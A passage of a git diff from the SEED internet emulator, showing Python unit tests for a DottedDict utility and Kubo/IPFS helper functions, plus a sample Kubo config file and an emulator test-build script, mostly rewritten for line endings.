3, 'd': 4, 'red': True, 'blue': 50} + cls.nestedDict = { + 'a': {'b': 2}, + 'test': {'1': 2}, + 'c': 3, + 'blue': 'red' + } + cls.nestedDictDeep = { + 'a': { + 'b': 2, + 'c': { + 'red': False, + 'orange': True, + 'yellow': False, + 'green': True, + 'blue': True, + 'purple': True, + 'pink': True + }, + 'deepest': { + 'level1': { + 'level2': { + 'level3': { + 'level4': { + 'level5': 'done' + } + } + } + } + } + }, + 'simple': True, + ' ': False, + ',': { + '!': '#' + } + } + + return + + @classmethod + def tearDownClass(cls) -> None: + return super().tearDownClass() + + def test_init_empty(self): + self.printLog(f'{" Test Case: test_init_empty ":=^100}') + + # Create a test case for initializing with nothing: + dd = DottedDict() + self.assertIsInstance(dd, DottedDict, 'Not a DottedDict') + self.assertTrue(dd.empty(), 'DottedDict returns not empty') + self.printLog(f'{"DottedDict()":<30}[PASS]') + + # Create a test case for initializing with multiple empty data types: + cases = [[], {}, set(), tuple()] + for case in cases: + with self.subTest(case=type(case)): + dd = DottedDict(case) + self.assertIsInstance(dd, DottedDict, 'Not a DottedDict') + self.assertTrue(dd.empty(), 'DottedDict returns not empty') + self.printLog(f'{f"DottedDict({case})":<30}[PASS]') + + + def test_init_good(self): + self.printLog(f'{" Test Case: test_init_good ":=^100}') + + # Create a test case for multiple data types that should succeed: + cases = [ + [('a', 1), ('b', 2), (5, 'ff'), (55.7, True)], + [('a', 1), ('b', [('c', [('d', 4), ('e', 5)])]), ('f', 6)], + (('a', 1), ('b', 2), (5, 'ff'), (55.7, True)), + (('a', 1), ('b', ('c', (('d', 4), ('e', 5)))), ('f', 6)), + {('a', 1), ('b', 2), (5, 'ff'), (55.7, True)}, + {'a': 1, 'b': 2, 5: 'ff', 55.7: True}, + {'a': 1, 'b': {'c': {'d': 4, 'e': 5}}, 'f': 6} + ] + for test in cases: + with self.subTest(case=test, type=type(test)): + dd = DottedDict(test) + self.assertIsInstance(dd, DottedDict, 'Instance is not a DottedDict') + self.assertEqual(dd, dict(test), 'DottedDict did not produce expected data structure') + self.assertDictEqual(dd, dict(test), 'DottedDict did not produce expected data structure') + self.printLog(f'{f"DottedDict({test})":<75}[PASS]') + + + def test_init_bad(self): + self.printLog(f'{" Test Case: test_init_bad ":=^100}') + # Create a test case for multiple data types and constructions that should fail: + cases = [ + True, False, 1, 346.72, 55555, + [0, 1, 2, 3, 4, 5, 6, 7, 8, 9], + range(10), + {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}, + (0, 1, 2, 3, 4, 5, 6, 7, 8, 9), + [(1, 'a'), 2, 3], + (1, (2, 'b'), 3, 4, 5), + [{'a': 1}, True] + ] + for test in cases: + with self.subTest(case=test, type=type(test)): + try: + dd = DottedDict(test) + except Exception as ddErr: + # self.assertIsInstance(dd, DottedDict, 'Instance is not a DottedDict') + try: + d = dict(test) + except Exception as dErr: + self.assertEqual(type(ddErr), type(dErr), 'DottedDict should raise same exception type as dict.') + else: + self.printLog(f'Case: {test} {type(test)}\n{dd}') + self.fail('dict init was successful but DottedDict was not') + else: + # Initialization was successful; does that work for dict: + self.printLog(f'Case: {test} {type(test)}\n{dd}') + self.assertDictEqual(dd, dict(test), 'DottedDict was successful but dict was not') + self.printLog(f'{f"DottedDict({test})":<50}[PASS]') + + + def test_get_item_expected(self): + self.printLog(f'{" Test Case: test_get_item_expected ":=^100}') + # Create test cases for multiple different values to get: + cases = [('simple', True), ('a.b', 2), + ('a.c', DottedDict({'red': False, 'orange': True, 'yellow': False, 'green': True, 'blue': True, 'purple': True, 'pink': True})), + ('a.c.red', False), ('a.c.orange', True), ('a.c.blue', True), + ('a.deepest', DottedDict({'level1': {'level2': {'level3': {'level4': {'level5': 'done'}}}}})), + ('a.deepest.level1.level2.level3.level4.level5', 'done'), + ('simple', True), + (' ', False), + (',', DottedDict({'!': '#'})), + (',.!', '#') + ] + # Test cases: + dd = DottedDict(self.nestedDictDeep.copy()) + for testKey, expectedVal in cases: + with self.subTest(case=testKey): + self.assertEqual(dd[testKey], expectedVal, 'DottedDict::getitem did not get expected value.') + self.printLog(f'{f"DottedDict[{testKey}] = {dd[testKey]}":<90}[PASS]') + + + + def test_get_item_unexpected(self): + self.printLog(f'{" Test Case: test_get_item_unexpected ":=^100}') + # Create test cases for multiple different values to get: + cases = ['', '.', '\t', '.a', 'a.', 'a.b.', 'a.b.c', 'a.c.c', 'a.c.red.orange', 'a.c.orange.', + 'a.c.blue.deepest', 'a..deepest', '..a.deepest.level1.level2.level3.level4.level5..', 'simple..' + ] + # Test cases: + dd = DottedDict(self.nestedDictDeep.copy()) + for testKey in cases: + with self.subTest(case=testKey): + with self.assertRaises(KeyError, msg='Invalid key on getitem did not raise KeyError.'): + dd[testKey] + self.assertDictEqual(dd, self.nestedDictDeep, 'DottedDict changed on getitem operation.') + self.printLog(f'{f"DottedDict[{testKey}] -> KeyError":<75}[PASS]') + + + def test_set_item_expected(self): + self.printLog(f'{" Test Case: test_set_item_expected ":=^100}') + # Create test cases for multiple different values to get: + cases = [('simple', False), ('a.b', 4), + ('a.c', DottedDict({'level1': 1, 'level2': {'diff': 4, 'bbb': False}})), + ('a.c.red', 6), ('a.c.orange', 'apple'), ('a.c.blue', 36.788), + ('a.deepest.level1.level2.level3.level4.level5', 'ready'), + ('a.deepest', DottedDict({'apple': {'bicycle': {'car': {'dream': {'engine': 'huh', 'fog': 'yes', 'golf': 'ball'}}}}})), + ('simple', False), + (' ', True), + (',.!', '#'), + (',', ['!', '#']), + ] + # Test cases: + for testKey, expectedVal in cases: + with self.subTest(case=testKey): + dd = DottedDict(self.nestedDictDeep.copy()) + dd[testKey] = expectedVal + self.assertEqual(dd[testKey], expectedVal, 'Getting set item should match expected value.') + self.printLog(f'{f"DottedDict[{testKey}] = {dd[testKey]}":<120}[PASS]') + + # Extra test case: + dd = DottedDict(self.nestedDictDeep) + dd['a.deepest.level1.newLeaf'] = True + self.assertEqual(dd['a.deepest.level1.level2.level3.level4.level5'], 'done') + self.assertEqual(dd['a.deepest.level1.newLeaf'], True) + + + def test_set_item_unexpected(self): + self.printLog(f'{" Test Case: test_set_item_unexpected ":=^100}') + # Create test cases for multiple different values to get: + cases = ['', '.', '.a', 'a.', 'a.b.', 'a..b..c', 'a.c.orange.', + 'a..deepest', '..a.deepest.level1.level2.level3.level4.level5..', 'simple..' + ] + # Test cases: + dd = DottedDict(self.nestedDictDeep) + for testKey in cases: + with self.subTest(case=testKey): + with self.assertRaises(KeyError, msg='Should raise KeyError for invalid key on set item.'): + dd[testKey] = 'test 1 2 3' + self.printLog(f'{f"DottedDict[{testKey}] -> KeyError":<75}[PASS]') + + + def test_del_item_expected(self): + self.printLog(f'{" Test Case: test_del_item_expected ":=^100}') + # Create test cases for multiple different values to get: + cases = [ + 'simple', 'a.b', 'a.c', 'a.c.red', 'a.c.orange', 'a.c.blue', + 'a.deepest', 'a.deepest.level1.level2.level3.level4.level5', + 'simple', ' ', ',', ',.!' + ] + # Test cases: + for testKey in cases: + with self.subTest(case=testKey): + dd = DottedDict(self.nestedDictDeep.copy()) + # Trigger __delitem__: + del dd[testKey] + # Should no longer be in DottedDict: + self.assertNotIn(testKey, dd, 'Deleted item should no longer be in DottedDict.') + # Should now raise KeyError on get: + with self.assertRaises(KeyError, msg='Getting deleted item from DottedDict should raise KeyError.'): + dd[testKey] + self.printLog(f'{f"del DottedDict[{testKey}]":<75}[PASS]') + + + def test_del_item_unexpected(self): + self.printLog(f'{" Test Case: test_del_item_unexpected ":=^100}') + # Create test cases for multiple different values to get: + cases = [ + 'simpl', '.a.b', 'a..c', 'a..c..red', '..a.c.orange', 'a.c.blue.', + 'a.deepest...', 'a.deepest.level2.level2.level3.level4.level5', + 'simple.', '', ',.', ',.!.' + ] + # Test cases: + for testKey in cases: + with self.subTest(case=testKey): + dd = DottedDict(self.nestedDictDeep.copy()) + # Trigger __delitem__: + with self.assertRaises(KeyError, msg='Invalid key should raise key error.'): + del dd[testKey] + # Should now raise KeyError on get: + with self.assertRaises(KeyError, msg='Accessing a deleted value should now raise KeyError.'): + dd[testKey] + self.printLog(f'{f"del DottedDict[{testKey}]":<75}[PASS]') + + + def test_contains_expected(self): + self.printLog(f'{" Test Case: test_contains_expected ":=^100}') + # Create test cases for valid keys: + cases = [ + 'simple', 'a.b', 'a.c', 'a.c.red', 'a.c.orange', 'a.c.blue', + 'a.deepest', 'a.deepest.level1.level2.level3.level4.level5', + 'simple', ' ', ',', ',.!' + ] + # Test cases: + for testKey in cases: + with self.subTest(case=testKey): + dd = DottedDict(self.nestedDictDeep.copy()) + # Should no longer be in DottedDict: + self.assertIn(testKey, dd, 'Key exists but contains returns False.') + self.printLog(f'{f"del DottedDict[{testKey}]":<75}[PASS]') + + + def test_contains_unexpected(self): + self.printLog(f'{" Test Case: test_contains_unexpected ":=^100}') + # Create test cases for nonexistent keys: + cases = [ + 'simplest', 'a.b.c', 'b.a.c', 'a.cat.red', 'a.c.cyan', 'simple.c.blue', + 'deepest', 'a.deepest.level1.level2.level5.level4.level5', + 'simple.1', 'a. ', 'b.,', ',.!.%' + ] + # Test cases: + for testKey in cases: + with self.subTest(case=testKey, group='nonexistent'): + dd = DottedDict(self.nestedDictDeep.copy()) + self.assertNotIn(testKey, dd, 'Key does not exist but "in" returned True.') + self.printLog(f'{f"{testKey} in DottedDict -> False":<75}[PASS]') + + # Create test cases for invalid keys: + cases = [ + '', '.', '.a', 'a.', 'a.b.', 'a.c.orange.', 'a..deepest', + '..a.deepest.level1.level2.level3.level4.level5..', 'simple..' + ] + # Test cases: + for testKey in cases: + with self.subTest(case=testKey, group='invalid'): + dd = DottedDict(self.nestedDictDeep.copy()) + with self.assertRaises(KeyError, msg='Key is invalid but did not raise an error.'): + testKey in dd + self.printLog(f'{f"{testKey} in DottedDict -> KeyError":<75}[PASS]') + + + def test_copy(self): + self.printLog(f'{" Test Case: test_copy ":=^100}') + # Create original and copy: + dOg = DottedDict(self.simpleDict) + dCp = dOg.copy() + self.printLog('Testing copy operation... ', end='') + self.assertIsInstance(dCp, DottedDict, 'Copy should also be a DottedDict, but is not.') + self.assertDictEqual(dOg, dCp, 'Copied DottedDict is not equal to original.') + self.assertNotEqual(id(dOg), id(dCp), 'Copy should be new instance in memory but is not.') + self.printLog('[PASS]') + # Changing copy should not affect original + self.printLog('Testing modification of copy... ', end='') + dCp['test'] = [1, 2, 3] + self.assertNotEqual(dOg, dCp, 'Original should not equal modified DottedDict.') + self.assertNotIn('test', dOg, 'New key should not exist in original DottedDict.') + self.printLog('[PASS]') + + + def test_merge(self): + self.printLog(f'{" Test Case: test_merge ":=^100}') + # Create test cases; dictionaries to transform and try merging: + cases = [ + ({chr(n) : n for n in range(97,123)}, {'test': True, 'deep': {'level1': {'level2': 'done'}, 'end': False}}), + ({'test': True, 'deep': {'level1': {'level2': 'done'}, 'end': False}}, {'deep': {'level1': {'leaf': True}}}), + ({chr(n) : n for n in range(97,123)}, {chr(n) : n for n in range(97,123)}), + ({chr(n) : n for n in range(97,123)}, {'new': True}), + ({'test': True, 'deep': {'level1': {'level2': 'done'}, 'end': False}}, {'deep': {'level1': {'level2': 'merged'}, 'end': 'merged'}}) + ] + # Test cases: + for dictDest, dictSrc in cases: + with self.subTest(src=dictSrc, dst=dictDest): + dd = DottedDict(dictDest) + dd.merge(dictSrc) + d = dict(dictDest) + mergeNestedDicts(d, dictSrc) + self.assertDictEqual(dd, d, 'Merged dictionary is not equal to merged DottedDicts.') + self.printLog(f'[PASS] {f"{dd} = {d}":>90}') + + + def test_empty(self): + self.printLog(f'{" Test Case: test_empty ":=^100}') + # Create test cases for multiple different values to get: + validCases = [ + None, (), {}, set(), dict(), [] + ] + # Test cases on valid empty constructor: + for test in validCases: + with self.subTest(case=test, group='valid'): + dd = DottedDict(test) + self.assertTrue(dd.empty()) + self.printLog(f'{f"DottedDict({test})":<50}[PASS]') + + # Test cases on invalid constructor, leaving instance empty: + invalidCases = [ + [0, 1, 2, 3, 4, 5, 6, 7, 8, 9], + range(10), + {0, 1, 2, 3, 4, 5, 6, 7, 8, 9}, + (0, 1, 2, 3, 4, 5) + ] + for test in invalidCases: + with self.subTest(case=test, group='invalid'): + with self.assertRaises(Exception, msg='Invalid init source did not raise an exception.'): + dd = DottedDict(test) + self.assertTrue(dd.empty()) + self.printLog(f'{f"DottedDict({test})":<50}[PASS]') + + # Test case on DottedDict that becomes empty: + dd = DottedDict({'a': 1, 'b': 2, 'c': {'d': 4}}) + while len(dd) > 0: dd.popitem() + self.assertTrue(dd.empty(), 'DottedDict should be empty.') + self.printLog(f'{"DottedDict::popitem":<50}[PASS]') + + dd = DottedDict(self.simpleDict) + dd.clear() + self.assertTrue(dd.empty(), 'DottedDict::clear should empty the data structure.') + self.printLog(f'{f"DottedDict::clear":<50}[PASS]') + + def test_dottedItems(self): + self.printLog(f'{" Test Case: test_dottedItems ":=^100}') + cases = [ + (self.simpleDict, [('a', 1), ('b', 2), ('c', 3), ('d', 4), ('red', True), ('blue', 50)]), + (self.nestedDict, [('a.b', 2), ('test.1', 2), ('c', 3), ('blue', 'red')]), + (self.nestedDictDeep, [('a.b', 2), ('a.c.red', False), ('a.c.orange', True), ('a.c.yellow', False), ('a.c.green', True), ('a.c.blue', True), ('a.c.purple', True), ('a.c.pink', True), ('a.deepest.level1.level2.level3.level4.level5', 'done'), ('simple', True), (' ', False), (',.!', '#')]), + ] + + for test in cases: + with self.subTest(case=cases.index(test)): + dd = DottedDict(test[0]) + self.assertListEqual(dd.dottedItems(), test[1]) + self.printLog(f'{f"DottedDict::dottedItems() #{cases.index(test)}":<50}[PASS]') + + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls('test_init_empty')) + test_suite.addTest(cls('test_init_good')) + test_suite.addTest(cls('test_init_bad')) + test_suite.addTest(cls('test_get_item_expected')) + test_suite.addTest(cls('test_get_item_unexpected')) + test_suite.addTest(cls('test_set_item_expected')) + test_suite.addTest(cls('test_set_item_unexpected')) + test_suite.addTest(cls('test_del_item_expected')) + test_suite.addTest(cls('test_del_item_unexpected')) + test_suite.addTest(cls('test_contains_expected')) + test_suite.addTest(cls('test_contains_unexpected')) + test_suite.addTest(cls('test_copy')) + test_suite.addTest(cls('test_merge')) + test_suite.addTest(cls('test_empty')) + test_suite.addTest(cls('test_dottedItems')) + return test_suite + +class KuboUtilFuncsTestCase(SeedEmuTestCase): + @classmethod + def setUpClass(cls) -> None: + super().setUpClass(testLogOverwrite=False, online=False) + + # Set up some class variables to use later: + Faker.seed(time()) + cls.fake = Faker() + cls.fake.add_provider(internet) + + + @classmethod + def tearDownClass(cls) -> None: + return super().tearDownClass() + + + def test_getIP(self): + self.printLog(f'{" Test Case: test_getIP ":=^100}') + + # Create an environment in the emulator: + numHosts = 2 + emu = Makers.makeEmulatorBaseWith5StubASAndHosts(numHosts) + emu.render() + # Get IPs for nodes in each AS: + for asn in range(150, 155): + self.printLog(f'Testing nodes in AS {asn}:') + curAS = emu.getLayer('Base').getAutonomousSystem(asn) + # Get IP for each host in the current AS: + for host in curAS.getHosts(): + node = curAS.getHost(host) + ip = getIP(node) + with self.subTest(device=host, ip=str(ip), type='host'): + self.assertIsNotNone(ip, 'No IP found.') + self.printLog(f'\t{host} -> {ip} [PASS]') + # Get an IP for each router in the current AS: + # Note: this function is meant to be used on hosts with a single NIC; + # performing on a router will only get one NIC's IP. + for router in curAS.getRouters(): + node = curAS.getRouter(router) + ip = getIP(node) + with self.subTest(device=router, ip=str(ip), type='router'): + self.assertIsNotNone(ip, 'No IP found.') + self.printLog(f'\t{router} -> {ip} [PASS]') + + + def test_isIPv4(self): + self.printLog(f'{" Test Case: test_isIPv4 ":=^100}') + + # Test with randomly-generated valid IPs: + numTests = 10 + for i in range(numTests): + ip = self.fake.ipv4() + with self.subTest(ip=ip, group='valid'): + self.assertTrue(isIPv4(ip)) + self.printLog(f'[PASS] isIPv4({ip}) -> True') + + # Test with invalid IPs: + invalidIPs = [ + '255.255.255.256', '300.1.1.1', '55.288.155.0', '0.0.888.1', + '55.55.55', '55.55', '55', '1.1.1.1.1' + ] + for ip in invalidIPs: + with self.subTest(ip=ip, group='invalid'): + self.assertFalse(isIPv4(ip)) + self.printLog(f'[PASS] isIPv4({ip}) -> False') + + + @classmethod + def get_test_suite(cls): + test_suite = ut.TestSuite() + test_suite.addTest(cls('test_getIP')) + test_suite.addTest(cls('test_isIPv4')) + return test_suite + + +def mergeNestedDicts(dest:Mapping, src:Mapping): + """Merge nested dictionaries. + + Parameters + ---------- + dest : Mapping + The dict-like object into which data will be merged. + src : Mapping + The dict-like object from which data will be merged (will not be altered). + """ + for key, value in src.items(): + # If item being copied already exists and both values are dict-like, merge those: + if key in dest and isinstance(value, Mapping) and isinstance(dest[key], Mapping): + mergeNestedDicts(dest[key], value) + # In any other case, just take the value from the source dict: + else: + dest[key] = value + +if __name__ == '__main__': + test_suite = ut.TestSuite() + test_suite.addTests(DottedDictTestCase.get_test_suite()) + test_suite.addTests(KuboUtilFuncsTestCase.get_test_suite()) + res = ut.TextTestRunner(verbosity=2).run(test_suite) + + # Insert summary line in output for each: + for testCase in [DottedDictTestCase, KuboUtilFuncsTestCase]: + testCase.printLog(f'{" Test Results ":=^100}') + num, errs, fails = res.testsRun, len(res.errors), len(res.failures) testCase.printLog("score: %d of %d (%d errors, %d failures)" % (num - (errs+fails), num, errs, fails)) \ No newline at end of file diff --git a/tests/kubo/__init__.py b/tests/kubo/__init__.py index 7114326d9..559f904c9 100755 --- a/tests/kubo/__init__.py +++ b/tests/kubo/__init__.py @@ -1,3 +1,3 @@ -from .KuboTestCase import KuboTestCase -from .KuboUtilsTestCase import DottedDictTestCase +from .KuboTestCase import KuboTestCase +from .KuboUtilsTestCase import DottedDictTestCase from .KuboUtilsTestCase import KuboUtilFuncsTestCase \ No newline at end of file diff --git a/tests/kubo/emulator-code/sample-config.json b/tests/kubo/emulator-code/sample-config.json index 70fc2d642..efc13213b 100644 --- a/tests/kubo/emulator-code/sample-config.json +++ b/tests/kubo/emulator-code/sample-config.json @@ -1,139 +1,139 @@ -{ - "API": { - "HTTPHeaders": {} - }, - "Addresses": { - "API": "/ip4/0.0.0.0/tcp/5001", - "Announce": [], - "AppendAnnounce": [], - "Gateway": "/ip4/0.0.0.0/tcp/8080", - "NoAnnounce": [], - "Swarm": [ - "/ip4/0.0.0.0/tcp/4001", - "/ip6/::/tcp/4001", - "/ip4/0.0.0.0/udp/4001/quic-v1", - "/ip4/0.0.0.0/udp/4001/quic-v1/webtransport", - "/ip6/::/udp/4001/quic-v1", - "/ip6/::/udp/4001/quic-v1/webtransport" - ] - }, - "AutoNAT": {}, - "Bootstrap": [], - "DNS": { - "Resolvers": {} - }, - "Datastore": { - "BloomFilterSize": 0, - "GCPeriod": "1h", - "HashOnRead": false, - "Spec": { - "mounts": [ - { - "child": { - "path": "blocks", - "shardFunc": "/repo/flatfs/shard/v1/next-to-last/2", - "sync": true, - "type": "flatfs" - }, - "mountpoint": "/blocks", - "prefix": "flatfs.datastore", - "type": "measure" - }, - { - "child": { - "compression": "none", - "path": "datastore", - "type": "levelds" - }, - "mountpoint": "/", - "prefix": "leveldb.datastore", - "type": "measure" - } - ], - "type": "mount" - }, - "StorageGCWatermark": 90, - "StorageMax": "20GB" - }, - "Discovery": { - "MDNS": { - "Enabled": true - } - }, - "Experimental": { - "FilestoreEnabled": false, - "Libp2pStreamMounting": false, - "OptimisticProvide": false, - "OptimisticProvideJobsPoolSize": 0, - "P2pHttpProxy": false, - "StrategicProviding": false, - "UrlstoreEnabled": false - }, - "Gateway": { - "DeserializedResponses": null, - "DisableHTMLErrors": null, - "ExposeRoutingAPI": null, - "HTTPHeaders": { - "x-kubo-test": "true" - }, - "NoDNSLink": false, - "NoFetch": false, - "PublicGateways": null, - "RootRedirect": "" - }, - "Identity": { - "PeerID": "12D3KooWKuxCB2TRwgpxEXqUEUVgf2qr7amjTsm5SVZMLf1yMvcc", - "PrivKey": "CAESQJuLZ48nVUQf8rpHzCuw/CtwTfXrta7rFvItLgURz5rxlgM+vnf7F/Q+/qzPDK4cgvD3RhyBdci0MJ+0Y8uiaCU=" - }, - "Internal": {}, - "Ipns": { - "RecordLifetime": "", - "RepublishPeriod": "", - "ResolveCacheSize": 128 - }, - "Migration": { - "DownloadSources": [], - "Keep": "" - }, - "Mounts": { - "FuseAllowOther": false, - "IPFS": "/ipfs", - "IPNS": "/ipns" - }, - "Peering": { - "Peers": null - }, - "Pinning": { - "RemoteServices": {} - }, - "Plugins": { - "Plugins": null - }, - "Provider": { - "Strategy": "" - }, - "Pubsub": { - "DisableSigning": false, - "Router": "" - }, - "Reprovider": {}, - "Routing": { - "AcceleratedDHTClient": false, - "Methods": null, - "Routers": null - }, - "Swarm": { - "AddrFilters": null, - "ConnMgr": {}, - "DisableBandwidthMetrics": false, - "DisableNatPortMap": false, - "RelayClient": {}, - "RelayService": {}, - "ResourceMgr": {}, - "Transports": { - "Multiplexers": {}, - "Network": {}, - "Security": {} - } - } +{ + "API": { + "HTTPHeaders": {} + }, + "Addresses": { + "API": "/ip4/0.0.0.0/tcp/5001", + "Announce": [], + "AppendAnnounce": [], + "Gateway": "/ip4/0.0.0.0/tcp/8080", + "NoAnnounce": [], + "Swarm": [ + "/ip4/0.0.0.0/tcp/4001", + "/ip6/::/tcp/4001", + "/ip4/0.0.0.0/udp/4001/quic-v1", + "/ip4/0.0.0.0/udp/4001/quic-v1/webtransport", + "/ip6/::/udp/4001/quic-v1", + "/ip6/::/udp/4001/quic-v1/webtransport" + ] + }, + "AutoNAT": {}, + "Bootstrap": [], + "DNS": { + "Resolvers": {} + }, + "Datastore": { + "BloomFilterSize": 0, + "GCPeriod": "1h", + "HashOnRead": false, + "Spec": { + "mounts": [ + { + "child": { + "path": "blocks", + "shardFunc": "/repo/flatfs/shard/v1/next-to-last/2", + "sync": true, + "type": "flatfs" + }, + "mountpoint": "/blocks", + "prefix": "flatfs.datastore", + "type": "measure" + }, + { + "child": { + "compression": "none", + "path": "datastore", + "type": "levelds" + }, + "mountpoint": "/", + "prefix": "leveldb.datastore", + "type": "measure" + } + ], + "type": "mount" + }, + "StorageGCWatermark": 90, + "StorageMax": "20GB" + }, + "Discovery": { + "MDNS": { + "Enabled": true + } + }, + "Experimental": { + "FilestoreEnabled": false, + "Libp2pStreamMounting": false, + "OptimisticProvide": false, + "OptimisticProvideJobsPoolSize": 0, + "P2pHttpProxy": false, + "StrategicProviding": false, + "UrlstoreEnabled": false + }, + "Gateway": { + "DeserializedResponses": null, + "DisableHTMLErrors": null, + "ExposeRoutingAPI": null, + "HTTPHeaders": { + "x-kubo-test": "true" + }, + "NoDNSLink": false, + "NoFetch": false, + "PublicGateways": null, + "RootRedirect": "" + }, + "Identity": { + "PeerID": "12D3KooWKuxCB2TRwgpxEXqUEUVgf2qr7amjTsm5SVZMLf1yMvcc", + "PrivKey": "CAESQJuLZ48nVUQf8rpHzCuw/CtwTfXrta7rFvItLgURz5rxlgM+vnf7F/Q+/qzPDK4cgvD3RhyBdci0MJ+0Y8uiaCU=" + }, + "Internal": {}, + "Ipns": { + "RecordLifetime": "", + "RepublishPeriod": "", + "ResolveCacheSize": 128 + }, + "Migration": { + "DownloadSources": [], + "Keep": "" + }, + "Mounts": { + "FuseAllowOther": false, + "IPFS": "/ipfs", + "IPNS": "/ipns" + }, + "Peering": { + "Peers": null + }, + "Pinning": { + "RemoteServices": {} + }, + "Plugins": { + "Plugins": null + }, + "Provider": { + "Strategy": "" + }, + "Pubsub": { + "DisableSigning": false, + "Router": "" + }, + "Reprovider": {}, + "Routing": { + "AcceleratedDHTClient": false, + "Methods": null, + "Routers": null + }, + "Swarm": { + "AddrFilters": null, + "ConnMgr": {}, + "DisableBandwidthMetrics": false, + "DisableNatPortMap": false, + "RelayClient": {}, + "RelayService": {}, + "ResourceMgr": {}, + "Transports": { + "Multiplexers": {}, + "Network": {}, + "Security": {} + } + } } \ No newline at end of file diff --git a/tests/kubo/emulator-code/test-emulator.py b/tests/kubo/emulator-code/test-emulator.py index d9f076fdb..4af61aa97 100755 --- a/tests/kubo/emulator-code/test-emulator.py +++ b/tests/kubo/emulator-code/test-emulator.py @@ -1,93 +1,93 @@ -#!/usr/bin/env python3 -# encoding: utf-8 - -from seedemu import * -import random, json, os - -############################################################################### -emu = Makers.makeEmulatorBaseWith5StubASAndHosts(2) - -############################################################################### - - -############################# -# Ensure that this can be tested on multiple platforms: -if os.environ.get('platform') == 'arm': - ipfs:KuboService = KuboService(arch=Architecture.ARM64) - docker = Docker(platform=Platform.ARM64) -else: - ipfs:KuboService = KuboService() - docker = Docker() - -numHosts:int = 2 -i:int = 0 -kuboAll = [] # vnodes - -# Install Kubo on some nodes: -for asNum in range(150, 155): - try: - curAS = emu.getLayer('Base').getAutonomousSystem(asNum) - except: - print(f'AS {asNum} does\'t appear to exist.') - else: - for h in range(numHosts): - vnode = f'kubo-{i}' - displayName = f'Kubo-{i}_' - cur = ipfs.install(vnode) - if i % 5 == 0: - cur.setBootNode(True) - displayName += 'Boot' - else: - displayName += 'Peer' - - emu.getVirtualNode(vnode).setDisplayName(displayName) - emu.addBinding(Binding(vnode, filter=Filter(asn=asNum, nodeName=f'host_{h}'))) - kuboAll.append(vnode) # Used to implement further customization for testing - i += 1 -emu.addLayer(ipfs) - -# Prepare for testing: -kuboPeers = [v for v in kuboAll if not emu.getServerByVirtualNodeName(v).isBootNode()] -testCases = ['profile', 'version', 'set_config', 'import_config', 'replace_config'] -testNodes = { group : vnode for (vnode, group) in zip(random.sample(kuboPeers, len(testCases)), testCases) } - -# Specify profile for a container for testing: -emu.getServerByVirtualNodeName(testNodes['profile']).setProfile('lowpower') - -# Specify init config for a container for testing. -# Config changes: -# - Datastore.StorageMax = "20GB" -# - Gateway.HTTPHeaders.x-kubo-test = "true" -with open('sample-config.json', 'r') as f: - conf = json.loads(f.read()) -emu.getServerByVirtualNodeName(testNodes['replace_config']).replaceConfig(conf) - -# Specify start config for a container, by import: -testConf = { - 'API': { - 'HTTPHeaders': { - 'Access-Control-Allow-Origin': ['*'] - } - } -} -emu.getServerByVirtualNodeName(testNodes['import_config']).importConfig(testConf) - -# Specify start config for a container, by key: -emu.getServerByVirtualNodeName(testNodes['set_config']).setConfig('API.HTTPHeaders.Access-Control-Allow-Origin', ['*']) -emu.getServerByVirtualNodeName(testNodes['set_config']).setConfig('Gateway.ExposeRoutingAPI', True) -emu.getServerByVirtualNodeName(testNodes['set_config']).setConfig('Gateway.RootRedirect', 'ThisIsOnlyATest') - -# Change the Kubo version for a container for testing: -emu.getServerByVirtualNodeName(testNodes['version']).setVersion('v0.28.0') - - -# Render and compile -OUTPUTDIR = './output' -emu.render() - -# Add some labels that are used for testing purposes only (must be added to physical nodes post-render): -for vnode in kuboAll: emu.resolvVnode(vnode).setLabel('kubo.test.group', '[\\"basic\\"]') -for group, vnode in testNodes.items(): emu.resolvVnode(vnode).setLabel('kubo.test.group', f'[\\"{group}\\"]') - -emu.compile(docker, OUTPUTDIR, override = True) - +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu import * +import random, json, os + +############################################################################### +emu = Makers.makeEmulatorBaseWith5StubASAndHosts(2) + +############################################################################### + + +############################# +# Ensure that this can be tested on multiple platforms: +if os.environ.get('platform') == 'arm': + ipfs:KuboService = KuboService(arch=Architecture.ARM64) + docker = Docker(platform=Platform.ARM64) +else: + ipfs:KuboService = KuboService() + docker = Docker() + +numHosts:int = 2 +i:int = 0 +kuboAll = [] # vnodes + +# Install Kubo on some nodes: +for asNum in range(150, 155): + try: + curAS = emu.getLayer('Base').getAutonomousSystem(asNum) + except: + print(f'AS {asNum} does\'t appear to exist.') + else: + for h in range(numHosts): + vnode = f'kubo-{i}' + displayName = f'Kubo-{i}_' + cur = ipfs.install(vnode) + if i % 5 == 0: + cur.setBootNode(True) + displayName += 'Boot' + else: + displayName += 'Peer' + + emu.getVirtualNode(vnode).setDisplayName(displayName) + emu.addBinding(Binding(vnode, filter=Filter(asn=asNum, nodeName=f'host_{h}'))) + kuboAll.append(vnode) # Used to implement further customization for testing + i += 1 +emu.addLayer(ipfs) + +# Prepare for testing: +kuboPeers = [v for v in kuboAll if not emu.getServerByVirtualNodeName(v).isBootNode()] +testCases = ['profile', 'version', 'set_config', 'import_config', 'replace_config'] +testNodes = { group : vnode for (vnode, group) in zip(random.sample(kuboPeers, len(testCases)), testCases) } + +# Specify profile for a container for testing: +emu.getServerByVirtualNodeName(testNodes['profile']).setProfile('lowpower') + +# Specify init config for a container for testing. +# Config changes: +# - Datastore.StorageMax = "20GB" +# - Gateway.HTTPHeaders.x-kubo-test = "true" +with open('sample-config.json', 'r') as f: + conf = json.loads(f.read()) +emu.getServerByVirtualNodeName(testNodes['replace_config']).replaceConfig(conf) + +# Specify start config for a container, by import: +testConf = { + 'API': { + 'HTTPHeaders': { + 'Access-Control-Allow-Origin': ['*'] + } + } +} +emu.getServerByVirtualNodeName(testNodes['import_config']).importConfig(testConf) + +# Specify start config for a container, by key: +emu.getServerByVirtualNodeName(testNodes['set_config']).setConfig('API.HTTPHeaders.Access-Control-Allow-Origin', ['*']) +emu.getServerByVirtualNodeName(testNodes['set_config']).setConfig('Gateway.ExposeRoutingAPI', True) +emu.getServerByVirtualNodeName(testNodes['set_config']).setConfig('Gateway.RootRedirect', 'ThisIsOnlyATest') + +# Change the Kubo version for a container for testing: +emu.getServerByVirtualNodeName(testNodes['version']).setVersion('v0.28.0') + + +# Render and compile +OUTPUTDIR = './output' +emu.render() + +# Add some labels that are used for testing purposes only (must be added to physical nodes post-render): +for vnode in kuboAll: 